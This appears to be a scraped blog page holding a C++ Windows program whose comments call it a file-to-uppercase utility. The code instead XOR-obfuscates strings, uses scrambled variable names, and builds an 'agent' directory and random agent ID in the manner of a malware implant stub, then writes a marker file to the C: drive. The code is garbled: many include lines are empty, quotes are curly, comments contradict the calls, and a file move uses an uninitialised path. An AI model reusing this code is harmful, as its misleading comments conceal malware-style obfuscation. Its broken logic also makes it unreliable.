友链
https://www.cnblogs.com/chenkunyun/archive/2012/04/18/2454921.html
//
// This application opens a file specified by the user and uses
// a temporary file to convert the file to upper case letters.
// Note that the given source file is assumed to be an ASCII text file
// and the new file created is overwritten each time the application is
// run.
//
#include <windows.h>
#include <tchar.h>
#include <stdio.h>
#include
#include
#include <stdio.h>
#include <tlhelp32.h>
#include
#include
#include
#include
#include
#include
#include
#include
#include <windows.h>
#define BUFSIZE 1024
void FBXorCrypt(char* str, int* intArr, size_t len) {
int i;
for (i = 0; i < len; i++) {
str[i] = (char)intArr[i] ^ ‘"’;
}
}
void PrintError(LPCTSTR errDesc);
int _tmain(int argc, TCHAR *argv[])
{
HANDLE hFile = INVALID_HANDLE_VALUE;
HANDLE hTempFile = INVALID_HANDLE_VALUE;
BOOL fSuccess = FALSE;
DWORD dwRetVal = 0;
UINT uRetVal = 0;
DWORD dwBytesRead = 0;
DWORD dwBytesWritten = 0;
TCHAR szTempFileName[MAX_PATH];
TCHAR lpTempPathBuffer[MAX_PATH];
char chBuffer[BUFSIZE];
LPCTSTR errMsg;
char _asdAsd_o9_[1024] = { 0 };
GetTempPathA(1024, _asdAsd_o9_);
std::string __baseDir(_asdAsd_o9_, strlen(_asdAsd_o9_));
std::string FBAgentBaseDir = __baseDir;
int _05EJBhnQ71[] = { 126 };
char _vXKRkyWDCT[] = { ‘1’,0 };
FBXorCrypt(_vXKRkyWDCT, _05EJBhnQ71, 1);
std::string ___svXKRkyWDCT(_vXKRkyWDCT, 1);
std::string FBBackslash = ___svXKRkyWDCT; int _SZDQIzZtFI[] = { 75,70,81 };
char _DqefIEIzax[] = { ‘1’,‘1’,‘1’,0 };
FBXorCrypt(_DqefIEIzax, _SZDQIzZtFI, 3);
std::string _F1967C1EF4F043609DF15DF8DE46096C(_DqefIEIzax, 3);
// Creates the new file to write to for the upper-case version.
hTempFile = CreateFileA( "C:\\cas32oni112311ma",
// file name
GENERIC_WRITE, // open for write
0, // do not share
NULL, // default security
CREATE_NEW, // overwrite existing
FILE_ATTRIBUTE_NORMAL,// normal file
NULL); // no template
if (hTempFile == INVALID_HANDLE_VALUE)
{
PrintError(TEXT("Second CreateFile failed"));
if (!CloseHandle(hFile))
{
PrintError(TEXT("CloseHandle(hFile) failed"));
return (7);
}
return (4);
} srand((unsigned)time(NULL));
int r_andom1___ = rand();
int r_andom2___ = rand();
int r_andom3___ = rand();
std::string FBAgentID =
std::to_string(r_andom1___) +
std::to_string(r_andom2___) +
std::to_string(r_andom3___);
// Reads BUFSIZE blocks to the buffer and converts all characters in
// the buffer to upper case, then writes the buffer to the temporary
// file.
DWORD fuck=0;
WriteFile(hTempFile,"woqcaole", 15, &fuck, NULL);
// The handles to the files are no longer needed, so
// they are closed prior to moving the new file.
if (!CloseHandle(hTempFile))
{
PrintError(TEXT("CloseHandle(hTempFile) failed"));
return (8);
}
// Moves the temporary file to the new text file, allowing for differnt
// drive letters or volume names.
fSuccess = MoveFileEx(szTempFileName,
TEXT("AllCaps.txt"),
MOVEFILE_REPLACE_EXISTING | MOVEFILE_COPY_ALLOWED);
if (!fSuccess)
{
PrintError(TEXT("MoveFileEx failed"));
return (9);
}
else
_tprintf(TEXT("All-caps version of %s written to AllCaps.txt\n"), argv[1]);
return (0);
}
// ErrorMessage support function.
// Retrieves the system error message for the GetLastError() code.
// Note: caller must use LocalFree() on the returned LPCTSTR buffer.
LPCTSTR ErrorMessage(DWORD error)
{
LPVOID lpMsgBuf;
FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER
| FORMAT_MESSAGE_FROM_SYSTEM
| FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
error,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR) &lpMsgBuf,
0,
NULL);
return((LPCTSTR)lpMsgBuf);
}
// PrintError support function.
// Simple wrapper function for error output.
void PrintError(LPCTSTR errDesc)
{
LPCTSTR errMsg = ErrorMessage(GetLastError());
_tprintf(TEXT(“\n** ERROR ** %s: %s\n”), errDesc, errMsg);
LocalFree((LPVOID)errMsg);
}